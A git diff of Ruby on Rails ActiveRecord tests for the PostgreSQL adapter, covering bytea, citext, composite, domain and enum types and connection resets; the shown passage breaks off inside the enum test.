diff --git a/activerecord/test/cases/adapters/postgresql/bytea_test.rb b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
new file mode 100644
index 0000000000..aeebec034d
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/bytea_test.rb
@@ -0,0 +1,125 @@
+# encoding: utf-8
+require "cases/helper"
+
+class PostgresqlByteaTest < ActiveRecord::TestCase
+ class ByteaDataType < ActiveRecord::Base
+ self.table_name = 'bytea_data_type'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ begin
+ @connection.transaction do
+ @connection.create_table('bytea_data_type') do |t|
+ t.binary 'payload'
+ t.binary 'serialized'
+ end
+ end
+ end
+ @column = ByteaDataType.columns_hash['payload']
+ end
+
+ teardown do
+ @connection.execute 'drop table if exists bytea_data_type'
+ end
+
+ def test_column
+ assert @column.is_a?(ActiveRecord::ConnectionAdapters::PostgreSQLColumn)
+ assert_equal :binary, @column.type
+ end
+
+ def test_binary_columns_are_limitless_the_upper_limit_is_one_GB
+ assert_equal 'bytea', @connection.type_to_sql(:binary, 100_000)
+ assert_raise ActiveRecord::ActiveRecordError do
+ @connection.type_to_sql :binary, 4294967295
+ end
+ end
+
+ def test_type_cast_binary_converts_the_encoding
+ assert @column
+
+ data = "\u001F\x8B"
+ assert_equal('UTF-8', data.encoding.name)
+ assert_equal('ASCII-8BIT', @column.type_cast_from_database(data).encoding.name)
+ end
+
+ def test_type_cast_binary_value
+ data = "\u001F\x8B".force_encoding("BINARY")
+ assert_equal(data, @column.type_cast_from_database(data))
+ end
+
+ def test_type_case_nil
+ assert_equal(nil, @column.type_cast_from_database(nil))
+ end
+
+ def test_read_value
+ data = "\u001F"
+ @connection.execute "insert into bytea_data_type (payload) VALUES ('#{data}')"
+ record = ByteaDataType.first
+ assert_equal(data, record.payload)
+ record.delete
+ end
+
+ def test_read_nil_value
+ @connection.execute "insert into bytea_data_type (payload) VALUES (null)"
+ record = ByteaDataType.first
+ assert_equal(nil, record.payload)
+ record.delete
+ end
+
+ def test_write_value
+ data = "\u001F"
+ record = ByteaDataType.create(payload: data)
+ assert_not record.new_record?
+ assert_equal(data, record.payload)
+ end
+
+ def test_via_to_sql
+ data = "'\u001F\\"
+ ByteaDataType.create(payload: data)
+ sql = ByteaDataType.where(payload: data).select(:payload).to_sql
+ result = @connection.query(sql)
+ assert_equal([[data]], result)
+ end
+
+ def test_via_to_sql_with_complicating_connection
+ Thread.new do
+ other_conn = ActiveRecord::Base.connection
+ other_conn.execute('SET standard_conforming_strings = off')
+ end.join
+
+ test_via_to_sql
+ end
+
+ def test_write_binary
+ data = File.read(File.join(File.dirname(__FILE__), '..', '..', '..', 'assets', 'example.log'))
+ assert(data.size > 1)
+ record = ByteaDataType.create(payload: data)
+ assert_not record.new_record?
+ assert_equal(data, record.payload)
+ assert_equal(data, ByteaDataType.where(id: record.id).first.payload)
+ end
+
+ def test_write_nil
+ record = ByteaDataType.create(payload: nil)
+ assert_not record.new_record?
+ assert_equal(nil, record.payload)
+ assert_equal(nil, ByteaDataType.where(id: record.id).first.payload)
+ end
+
+ class Serializer
+ def load(str); str; end
+ def dump(str); str; end
+ end
+
+ def test_serialize
+ klass = Class.new(ByteaDataType) {
+ serialize :serialized, Serializer.new
+ }
+ obj = klass.new
+ obj.serialized = "hello world"
+ obj.save!
+ obj.reload
+ assert_equal "hello world", obj.serialized
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/change_schema_test.rb b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
new file mode 100644
index 0000000000..6c1b29f7fe
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/change_schema_test.rb
@@ -0,0 +1,31 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class Migration
+ class PGChangeSchemaTest < ActiveRecord::TestCase
+ attr_reader :connection
+
+ def setup
+ super
+ @connection = ActiveRecord::Base.connection
+ connection.create_table(:strings) do |t|
+ t.string :somedate
+ end
+ end
+
+ def teardown
+ connection.drop_table :strings
+ end
+
+ def test_change_string_to_date
+ connection.change_column :strings, :somedate, :timestamp, using: 'CAST("somedate" AS timestamp)'
+ assert_equal :datetime, connection.columns(:strings).find { |c| c.name == 'somedate' }.type
+ end
+
+ def test_change_type_with_symbol
+ connection.change_column :strings, :somedate, :timestamp, cast_as: :timestamp
+ assert_equal :datetime, connection.columns(:strings).find { |c| c.name == 'somedate' }.type
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/citext_test.rb b/activerecord/test/cases/adapters/postgresql/citext_test.rb
new file mode 100644
index 0000000000..85bff979c9
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/citext_test.rb
@@ -0,0 +1,78 @@
+# encoding: utf-8
+require 'cases/helper'
+require 'support/schema_dumping_helper'
+
+if ActiveRecord::Base.connection.supports_extensions?
+ class PostgresqlCitextTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+ class Citext < ActiveRecord::Base
+ self.table_name = 'citexts'
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+
+ enable_extension!('citext', @connection)
+
+ @connection.create_table('citexts') do |t|
+ t.citext 'cival'
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS citexts;'
+ disable_extension!('citext', @connection)
+ end
+
+ def test_citext_enabled
+ assert @connection.extension_enabled?('citext')
+ end
+
+ def test_column
+ column = Citext.columns_hash['cival']
+ assert_equal :citext, column.type
+ assert_equal 'citext', column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_change_table_supports_json
+ @connection.transaction do
+ @connection.change_table('citexts') do |t|
+ t.citext 'username'
+ end
+ Citext.reset_column_information
+ column = Citext.columns_hash['username']
+ assert_equal :citext, column.type
+
+ raise ActiveRecord::Rollback # reset the schema change
+ end
+ ensure
+ Citext.reset_column_information
+ end
+
+ def test_write
+ x = Citext.new(cival: 'Some CI Text')
+ x.save!
+ citext = Citext.first
+ assert_equal "Some CI Text", citext.cival
+
+ citext.cival = "Some NEW CI Text"
+ citext.save!
+
+ assert_equal "Some NEW CI Text", citext.reload.cival
+ end
+
+ def test_select_case_insensitive
+ @connection.execute "insert into citexts (cival) values('Cased Text')"
+ x = Citext.where(cival: 'cased text').first
+ assert_equal 'Cased Text', x.cival
+ end
+
+ def test_schema_dump_with_shorthand
+ output = dump_table_schema("citexts")
+ assert_match %r[t.citext "cival"], output
+ end
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/composite_test.rb b/activerecord/test/cases/adapters/postgresql/composite_test.rb
new file mode 100644
index 0000000000..cfab5ca902
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/composite_test.rb
@@ -0,0 +1,131 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+
+module PostgresqlCompositeBehavior
+ include ConnectionHelper
+
+ class PostgresqlComposite < ActiveRecord::Base
+ self.table_name = "postgresql_composites"
+ end
+
+ def setup
+ super
+
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.execute <<-SQL
+ CREATE TYPE full_address AS
+ (
+ city VARCHAR(90),
+ street VARCHAR(90)
+ );
+ SQL
+ @connection.create_table('postgresql_composites') do |t|
+ t.column :address, :full_address
+ end
+ end
+ end
+
+ def teardown
+ super
+
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_composites'
+ @connection.execute 'DROP TYPE IF EXISTS full_address'
+ reset_connection
+ PostgresqlComposite.reset_column_information
+ end
+end
+
+# Composites are mapped to `OID::Identity` by default. The user is informed by a warning like:
+# "unknown OID 5653508: failed to recognize type of 'address'. It will be treated as String."
+# To take full advantage of composite types, we suggest you register your own +OID::Type+.
+# See PostgresqlCompositeWithCustomOIDTest
+class PostgresqlCompositeTest < ActiveRecord::TestCase
+ include PostgresqlCompositeBehavior
+
+ def test_column
+ ensure_warning_is_issued
+
+ column = PostgresqlComposite.columns_hash["address"]
+ assert_nil column.type
+ assert_equal "full_address", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_composite_mapping
+ ensure_warning_is_issued
+
+ @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+ composite = PostgresqlComposite.first
+ assert_equal "(Paris,Champs-Élysées)", composite.address
+
+ composite.address = "(Paris,Rue Basse)"
+ composite.save!
+
+ assert_equal '(Paris,"Rue Basse")', composite.reload.address
+ end
+
+ private
+ def ensure_warning_is_issued
+ warning = capture(:stderr) do
+ PostgresqlComposite.columns_hash
+ end
+ assert_match(/unknown OID \d+: failed to recognize type of 'address'\. It will be treated as String\./, warning)
+ end
+end
+
+class PostgresqlCompositeWithCustomOIDTest < ActiveRecord::TestCase
+ include PostgresqlCompositeBehavior
+
+ class FullAddressType < ActiveRecord::Type::Value
+ def type; :full_address end
+
+ def type_cast_from_database(value)
+ if value =~ /\("?([^",]*)"?,"?([^",]*)"?\)/
+ FullAddress.new($1, $2)
+ end
+ end
+
+ def type_cast_from_user(value)
+ value
+ end
+
+ def type_cast_for_database(value)
+ return if value.nil?
+ "(#{value.city},#{value.street})"
+ end
+ end
+
+ FullAddress = Struct.new(:city, :street)
+
+ def setup
+ super
+
+ @connection.type_map.register_type "full_address", FullAddressType.new
+ end
+
+ def test_column
+ column = PostgresqlComposite.columns_hash["address"]
+ assert_equal :full_address, column.type
+ assert_equal "full_address", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_composite_mapping
+ @connection.execute "INSERT INTO postgresql_composites VALUES (1, ROW('Paris', 'Champs-Élysées'));"
+ composite = PostgresqlComposite.first
+ assert_equal "Paris", composite.address.city
+ assert_equal "Champs-Élysées", composite.address.street
+
+ composite.address = FullAddress.new("Paris", "Rue Basse")
+ composite.save!
+
+ assert_equal 'Paris', composite.reload.address.city
+ assert_equal 'Rue Basse', composite.reload.address.street
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/connection_test.rb b/activerecord/test/cases/adapters/postgresql/connection_test.rb
index fa8f339f00..ab7fd3c6d5 100644
--- a/activerecord/test/cases/adapters/postgresql/connection_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/connection_test.rb
@@ -1,20 +1,33 @@
require "cases/helper"
+require 'support/connection_helper'
module ActiveRecord
class PostgresqlConnectionTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
class NonExistentTable < ActiveRecord::Base
end
+ fixtures :comments
+
def setup
super
+ @subscriber = SQLSubscriber.new
+ @subscription = ActiveSupport::Notifications.subscribe('sql.active_record', @subscriber)
@connection = ActiveRecord::Base.connection
- @connection.extend(LogIntercepter)
- @connection.intercepted = true
end
def teardown
- @connection.intercepted = false
- @connection.logged = []
+ ActiveSupport::Notifications.unsubscribe(@subscription)
+ super
+ end
+
+ def test_truncate
+ count = ActiveRecord::Base.connection.execute("select count(*) from comments").first['count'].to_i
+ assert_operator count, :>, 0
+ ActiveRecord::Base.connection.truncate("comments")
+ count = ActiveRecord::Base.connection.execute("select count(*) from comments").first['count'].to_i
+ assert_equal 0, count
end
def test_encoding
@@ -45,96 +58,111 @@ module ActiveRecord
assert_equal 'off', expect
end
+ def test_reset
+ @connection.query('ROLLBACK')
+ @connection.query('SET geqo TO off')
+
+ # Verify the setting has been applied.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'off', expect
+
+ @connection.reset!
+
+ # Verify the setting has been cleared.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'on', expect
+ end
+
+ def test_reset_with_transaction
+ @connection.query('ROLLBACK')
+ @connection.query('SET geqo TO off')
+
+ # Verify the setting has been applied.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'off', expect
+
+ @connection.query('BEGIN')
+ @connection.reset!
+
+ # Verify the setting has been cleared.
+ expect = @connection.query('show geqo').first.first
+ assert_equal 'on', expect
+ end
+
def test_tables_logs_name
@connection.tables('hello')
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_indexes_logs_name
@connection.indexes('items', 'hello')
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_table_exists_logs_name
@connection.table_exists?('items')
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_table_alias_length_logs_name
@connection.instance_variable_set("@table_alias_length", nil)
@connection.table_alias_length
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_current_database_logs_name
@connection.current_database
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_encoding_logs_name
@connection.encoding
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
def test_schema_names_logs_name
@connection.schema_names
- assert_equal 'SCHEMA', @connection.logged[0][1]
+ assert_equal 'SCHEMA', @subscriber.logged[0][1]
end
- def test_reconnection_after_simulated_disconnection_with_verify
- assert @connection.active?
- original_connection_pid = @connection.query('select pg_backend_pid()')
-
- # Fail with bad connection on next query attempt.
- raw_connection = @connection.raw_connection
- raw_connection_class = class << raw_connection ; self ; end
- raw_connection_class.class_eval <<-CODE, __FILE__, __LINE__ + 1
- def query_fake(*args)
- if !( @called ||= false )
- self.stubs(:status).returns(PGconn::CONNECTION_BAD)
- @called = true
- raise PGError
- else
- self.unstub(:status)
- query_unfake(*args)
- end
- end
-
- alias query_unfake query
- alias query query_fake
- CODE
-
- begin
- @connection.verify!
- new_connection_pid = @connection.query('select pg_backend_pid()')
- ensure
- raw_connection_class.class_eval <<-CODE
- alias query query_unfake
- undef query_fake
- CODE
- end
-
- assert_not_equal original_connection_pid, new_connection_pid, "Should have a new underlying connection pid"
+ def test_statement_key_is_logged
+ bindval = 1
+ @connection.exec_query('SELECT $1::integer', 'SQL', [[nil, bindval]])
+ name = @subscriber.payloads.last[:statement_name]
+ assert name
+ res = @connection.exec_query("EXPLAIN (FORMAT JSON) EXECUTE #{name}(#{bindval})")
+ plan = res.column_types['QUERY PLAN'].type_cast_from_database res.rows.first.first
+ assert_operator plan.length, :>, 0
end
- # Must have with_manual_interventions set to true for this
- # test to run.
+ # Must have PostgreSQL >= 9.2, or with_manual_interventions set to
+ # true for this test to run.
+ #
# When prompted, restart the PostgreSQL server with the
# "-m fast" option or kill the individual connection assuming
# you know the incantation to do that.
# To restart PostgreSQL 9.1 on OS X, installed via MacPorts, ...
# sudo su postgres -c "pg_ctl restart -D /opt/local/var/db/postgresql91/defaultdb/ -m fast"
def test_reconnection_after_actual_disconnection_with_verify
- skip "with_manual_interventions is false in configuration" unless ARTest.config['with_manual_interventions']
-
original_connection_pid = @connection.query('select pg_backend_pid()')
# Sanity check.
assert @connection.active?
- puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
- 'server with the "-m fast" option) and then press enter.'
- $stdin.gets
+ if @connection.send(:postgresql_version) >= 90200
+ secondary_connection = ActiveRecord::Base.connection_pool.checkout
+ secondary_connection.query("select pg_terminate_backend(#{original_connection_pid.first.first})")
+ ActiveRecord::Base.connection_pool.checkin(secondary_connection)
+ elsif ARTest.config['with_manual_interventions']
+ puts 'Kill the connection now (e.g. by restarting the PostgreSQL ' +
+ 'server with the "-m fast" option) and then press enter.'
+ $stdin.gets
+ else
+ # We're not capable of terminating the backend ourselves, and
+ # we're not allowed to seek assistance; bail out without
+ # actually testing anything.
+ return
+ end
@connection.verify!
@@ -149,9 +177,7 @@ module ActiveRecord
"successfully querying with the same connection pid."
# Repair all fixture connections so other tests won't break.
- @fixture_connections.each do |c|
- c.verify!
- end
+ @fixture_connections.each(&:verify!)
end
def test_set_session_variable_true
@@ -183,17 +209,5 @@ module ActiveRecord
ActiveRecord::Base.establish_connection(orig_connection.deep_merge({:variables => {:debug_print_plan => :default}}))
end
end
-
- private
-
- def run_without_connection
- original_connection = ActiveRecord::Base.remove_connection
- begin
- yield original_connection
- ensure
- ActiveRecord::Base.establish_connection(original_connection)
- end
- end
-
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/datatype_test.rb b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
index c7ce43d71e..4f48a7bce3 100644
--- a/activerecord/test/cases/adapters/postgresql/datatype_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/datatype_test.rb
@@ -1,33 +1,14 @@
require "cases/helper"
+require 'support/ddl_helper'
-class PostgresqlArray < ActiveRecord::Base
-end
-
-class PostgresqlTsvector < ActiveRecord::Base
-end
-
-class PostgresqlMoney < ActiveRecord::Base
-end
-
-class PostgresqlNumber < ActiveRecord::Base
-end
class PostgresqlTime < ActiveRecord::Base
end
-class PostgresqlNetworkAddress < ActiveRecord::Base
-end
-
-class PostgresqlBitString < ActiveRecord::Base
-end
-
class PostgresqlOid < ActiveRecord::Base
end
-class PostgresqlTimestampWithZone < ActiveRecord::Base
-end
-
-class PostgresqlUUID < ActiveRecord::Base
+class PostgresqlLtree < ActiveRecord::Base
end
class PostgresqlDataTypeTest < ActiveRecord::TestCase
@@ -35,56 +16,16 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
def setup
@connection = ActiveRecord::Base.connection
- @connection.execute("set lc_monetary = 'C'")
-
- @connection.execute("INSERT INTO postgresql_arrays (commission_by_quarter, nicknames) VALUES ( '{35000,21000,18000,17000}', '{foo,bar,baz}' )")
- @first_array = PostgresqlArray.find(1)
- @connection.execute("INSERT INTO postgresql_tsvectors (text_vector) VALUES (' ''text'' ''vector'' ')")
- @first_tsvector = PostgresqlTsvector.find(1)
-
- @connection.execute("INSERT INTO postgresql_moneys (wealth) VALUES ('567.89'::money)")
- @connection.execute("INSERT INTO postgresql_moneys (wealth) VALUES ('-567.89'::money)")
- @first_money = PostgresqlMoney.find(1)
- @second_money = PostgresqlMoney.find(2)
-
- @connection.execute("INSERT INTO postgresql_numbers (single, double) VALUES (123.456, 123456.789)")
- @first_number = PostgresqlNumber.find(1)
-
- @connection.execute("INSERT INTO postgresql_times (time_interval, scaled_time_interval) VALUES ('1 year 2 days ago', '3 weeks ago')")
+ @connection.execute("INSERT INTO postgresql_times (id, time_interval, scaled_time_interval) VALUES (1, '1 year 2 days ago', '3 weeks ago')")
@first_time = PostgresqlTime.find(1)
- @connection.execute("INSERT INTO postgresql_network_addresses (cidr_address, inet_address, mac_address) VALUES('192.168.0/24', '172.16.1.254/32', '01:23:45:67:89:0a')")
- @first_network_address = PostgresqlNetworkAddress.find(1)
-
- @connection.execute("INSERT INTO postgresql_bit_strings (bit_string, bit_string_varying) VALUES (B'00010101', X'15')")
- @first_bit_string = PostgresqlBitString.find(1)
-
- @connection.execute("INSERT INTO postgresql_oids (obj_id) VALUES (1234)")
+ @connection.execute("INSERT INTO postgresql_oids (id, obj_id) VALUES (1, 1234)")
@first_oid = PostgresqlOid.find(1)
-
- @connection.execute("INSERT INTO postgresql_timestamp_with_zones (time) VALUES ('2010-01-01 10:00:00-1')")
-
- @connection.execute("INSERT INTO postgresql_uuids (guid, compact_guid) VALUES('d96c3da0-96c1-012f-1316-64ce8f32c6d8', 'f06c715096c1012f131764ce8f32c6d8')")
- @first_uuid = PostgresqlUUID.find(1)
- end
-
- def test_data_type_of_array_types
- assert_equal :integer, @first_array.column_for_attribute(:commission_by_quarter).type
- assert_equal :text, @first_array.column_for_attribute(:nicknames).type
- end
-
- def test_data_type_of_tsvector_types
- assert_equal :tsvector, @first_tsvector.column_for_attribute(:text_vector).type
- end
-
- def test_data_type_of_money_types
- assert_equal :decimal, @first_money.column_for_attribute(:wealth).type
end
- def test_data_type_of_number_types
- assert_equal :float, @first_number.column_for_attribute(:single).type
- assert_equal :float, @first_number.column_for_attribute(:double).type
+ teardown do
+ [PostgresqlTime, PostgresqlOid].each(&:delete_all)
end
def test_data_type_of_time_types
@@ -92,197 +33,60 @@ class PostgresqlDataTypeTest < ActiveRecord::TestCase
assert_equal :string, @first_time.column_for_attribute(:scaled_time_interval).type
end
- def test_data_type_of_network_address_types
- assert_equal :cidr, @first_network_address.column_for_attribute(:cidr_address).type
- assert_equal :inet, @first_network_address.column_for_attribute(:inet_address).type
- assert_equal :macaddr, @first_network_address.column_for_attribute(:mac_address).type
- end
-
- def test_data_type_of_bit_string_types
- assert_equal :string, @first_bit_string.column_for_attribute(:bit_string).type
- assert_equal :string, @first_bit_string.column_for_attribute(:bit_string_varying).type
- end
-
def test_data_type_of_oid_types
assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
end
- def test_data_type_of_uuid_types
- assert_equal :uuid, @first_uuid.column_for_attribute(:guid).type
- end
-
- def test_array_values
- assert_equal [35000,21000,18000,17000], @first_array.commission_by_quarter
- assert_equal ['foo','bar','baz'], @first_array.nicknames
- end
-
- def test_tsvector_values
- assert_equal "'text' 'vector'", @first_tsvector.text_vector
- end
-
- def test_money_values
- assert_equal 567.89, @first_money.wealth
- assert_equal(-567.89, @second_money.wealth)
- end
-
- def test_update_tsvector
- new_text_vector = "'new' 'text' 'vector'"
- assert @first_tsvector.text_vector = new_text_vector
- assert @first_tsvector.save
- assert @first_tsvector.reload
- assert @first_tsvector.text_vector = new_text_vector
- assert @first_tsvector.save
- assert @first_tsvector.reload
- assert_equal @first_tsvector.text_vector, new_text_vector
- end
-
- def test_number_values
- assert_equal 123.456, @first_number.single
- assert_equal 123456.789, @first_number.double
- end
-
def test_time_values
assert_equal '-1 years -2 days', @first_time.time_interval
assert_equal '-21 days', @first_time.scaled_time_interval
end
- def test_network_address_values_ipaddr
- cidr_address = IPAddr.new '192.168.0.0/24'
- inet_address = IPAddr.new '172.16.1.254'
-
- assert_equal cidr_address, @first_network_address.cidr_address
- assert_equal inet_address, @first_network_address.inet_address
- assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
- end
-
- def test_uuid_values
- assert_equal 'd96c3da0-96c1-012f-1316-64ce8f32c6d8', @first_uuid.guid
- assert_equal 'f06c7150-96c1-012f-1317-64ce8f32c6d8', @first_uuid.compact_guid
- end
-
- def test_bit_string_values
- assert_equal '00010101', @first_bit_string.bit_string
- assert_equal '00010101', @first_bit_string.bit_string_varying
- end
-
def test_oid_values
assert_equal 1234, @first_oid.obj_id
end
- def test_update_integer_array
- new_value = [32800,95000,29350,17000]
- assert @first_array.commission_by_quarter = new_value
- assert @first_array.save
- assert @first_array.reload
- assert_equal @first_array.commission_by_quarter, new_value
- assert @first_array.commission_by_quarter = new_value
- assert @first_array.save
- assert @first_array.reload
- assert_equal @first_array.commission_by_quarter, new_value
- end
-
- def test_update_text_array
- new_value = ['robby','robert','rob','robbie']
- assert @first_array.nicknames = new_value
- assert @first_array.save
- assert @first_array.reload
- assert_equal @first_array.nicknames, new_value
- assert @first_array.nicknames = new_value
- assert @first_array.save
- assert @first_array.reload
- assert_equal @first_array.nicknames, new_value
- end
-
- def test_update_money
- new_value = BigDecimal.new('123.45')
- assert @first_money.wealth = new_value
- assert @first_money.save
- assert @first_money.reload
- assert_equal new_value, @first_money.wealth
- end
-
- def test_update_number
- new_single = 789.012
- new_double = 789012.345
- assert @first_number.single = new_single
- assert @first_number.double = new_double
- assert @first_number.save
- assert @first_number.reload
- assert_equal @first_number.single, new_single
- assert_equal @first_number.double, new_double
- end
-
def test_update_time
- assert @first_time.time_interval = '2 years 3 minutes'
+ @first_time.time_interval = '2 years 3 minutes'
assert @first_time.save
assert @first_time.reload
- assert_equal @first_time.time_interval, '2 years 00:03:00'
- end
-
- def test_update_network_address
- new_inet_address = '10.1.2.3/32'
- new_cidr_address = '10.0.0.0/8'
- new_mac_address = 'bc:de:f0:12:34:56'
- assert @first_network_address.cidr_address = new_cidr_address
- assert @first_network_address.inet_address = new_inet_address
- assert @first_network_address.mac_address = new_mac_address
- assert @first_network_address.save
- assert @first_network_address.reload
- assert_equal @first_network_address.cidr_address, new_cidr_address
- assert_equal @first_network_address.inet_address, new_inet_address
- assert_equal @first_network_address.mac_address, new_mac_address
- end
-
- def test_update_bit_string
- new_bit_string = '11111111'
- new_bit_string_varying = 'FF'
- assert @first_bit_string.bit_string = new_bit_string
- assert @first_bit_string.bit_string_varying = new_bit_string_varying
- assert @first_bit_string.save
- assert @first_bit_string.reload
- assert_equal @first_bit_string.bit_string, new_bit_string
- assert_equal @first_bit_string.bit_string, @first_bit_string.bit_string_varying
+ assert_equal '2 years 00:03:00', @first_time.time_interval
end
def test_update_oid
new_value = 567890
- assert @first_oid.obj_id = new_value
+ @first_oid.obj_id = new_value
assert @first_oid.save
assert @first_oid.reload
- assert_equal @first_oid.obj_id, new_value
+ assert_equal new_value, @first_oid.obj_id
end
- def test_timestamp_with_zone_values_with_rails_time_zone_support
- old_tz = ActiveRecord::Base.time_zone_aware_attributes
- old_default_tz = ActiveRecord::Base.default_timezone
-
- ActiveRecord::Base.time_zone_aware_attributes = true
- ActiveRecord::Base.default_timezone = :utc
-
- @connection.reconnect!
-
- @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
- assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
- ensure
- ActiveRecord::Base.default_timezone = old_default_tz
- ActiveRecord::Base.time_zone_aware_attributes = old_tz
- @connection.reconnect!
+ def test_text_columns_are_limitless_the_upper_limit_is_one_GB
+ assert_equal 'text', @connection.type_to_sql(:text, 100_000)
+ assert_raise ActiveRecord::ActiveRecordError do
+ @connection.type_to_sql :text, 4294967295
+ end
end
+end
- def test_timestamp_with_zone_values_without_rails_time_zone_support
- old_tz = ActiveRecord::Base.time_zone_aware_attributes
- old_default_tz = ActiveRecord::Base.default_timezone
+class PostgresqlInternalDataTypeTest < ActiveRecord::TestCase
+ include DdlHelper
- ActiveRecord::Base.time_zone_aware_attributes = false
- ActiveRecord::Base.default_timezone = :local
+ setup do
+ @connection = ActiveRecord::Base.connection
+ end
- @connection.reconnect!
+ def test_name_column_type
+ with_example_table @connection, 'ex', 'data name' do
+ column = @connection.columns('ex').find { |col| col.name == 'data' }
+ assert_equal :string, column.type
+ end
+ end
- @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
- assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
- ensure
- ActiveRecord::Base.default_timezone = old_default_tz
- ActiveRecord::Base.time_zone_aware_attributes = old_tz
- @connection.reconnect!
+ def test_char_column_type
+ with_example_table @connection, 'ex', 'data "char"' do
+ column = @connection.columns('ex').find { |col| col.name == 'data' }
+ assert_equal :string, column.type
+ end
end
end
diff --git a/activerecord/test/cases/adapters/postgresql/domain_test.rb b/activerecord/test/cases/adapters/postgresql/domain_test.rb
new file mode 100644
index 0000000000..1500adb42d
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/domain_test.rb
@@ -0,0 +1,47 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+
+class PostgresqlDomainTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
+ class PostgresqlDomain < ActiveRecord::Base
+ self.table_name = "postgresql_domains"
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.execute "CREATE DOMAIN custom_money as numeric(8,2)"
+ @connection.create_table('postgresql_domains') do |t|
+ t.column :price, :custom_money
+ end
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_domains'
+ @connection.execute 'DROP DOMAIN IF EXISTS custom_money'
+ reset_connection
+ end
+
+ def test_column
+ column = PostgresqlDomain.columns_hash["price"]
+ assert_equal :decimal, column.type
+ assert_equal "custom_money", column.sql_type
+ assert column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_domain_acts_like_basetype
+ PostgresqlDomain.create price: ""
+ record = PostgresqlDomain.first
+ assert_nil record.price
+
+ record.price = "34.15"
+ record.save!
+
+ assert_equal BigDecimal.new("34.15"), record.reload.price
+ end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/enum_test.rb b/activerecord/test/cases/adapters/postgresql/enum_test.rb
new file mode 100644
index 0000000000..83cedc5a7b
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/enum_test.rb
@@ -0,0 +1,83 @@
+# -*- coding: utf-8 -*-
+require "cases/helper"
+require 'support/connection_helper'
+
+class PostgresqlEnumTest < ActiveRecord::TestCase
+ include ConnectionHelper
+
+ class PostgresqlEnum < ActiveRecord::Base
+ self.table_name = "postgresql_enums"
+ end
+
+ def setup
+ @connection = ActiveRecord::Base.connection
+ @connection.transaction do
+ @connection.execute <<-SQL
+ CREATE TYPE mood AS ENUM ('sad', 'ok', 'happy');
+ SQL
+ @connection.create_table('postgresql_enums') do |t|
+ t.column :current_mood, :mood
+ end
+ end
+ end
+
+ teardown do
+ @connection.execute 'DROP TABLE IF EXISTS postgresql_enums'
+ @connection.execute 'DROP TYPE IF EXISTS mood'
+ reset_connection
+ end
+
+ def test_column
+ column = PostgresqlEnum.columns_hash["current_mood"]
+ assert_equal :enum, column.type
+ assert_equal "mood", column.sql_type
+ assert_not column.number?
+ assert_not column.binary?
+ assert_not column.array
+ end
+
+ def test_enum_defaults
+ @connection.add_column 'postgresql_enums', 'good_mood', :mood, default: 'happy'
+ PostgresqlEnum.reset_column_information
+
+ assert_equal "happy", PostgresqlEnum.column_defaults['good_mood']
+ assert_equal "happy", PostgresqlEnum.new.good_mood
+ ensure
+ PostgresqlEnum.reset_column_information
+ end
+
+ def test_enum_mapping
+ @connection.execute "INSERT INTO postgresql_enums VALUES (1, 'sad');"
+ enum = PostgresqlEnum.first
+ assert_equal "sad", enum.current_mood
+
+ enum.current_mood = "happy"
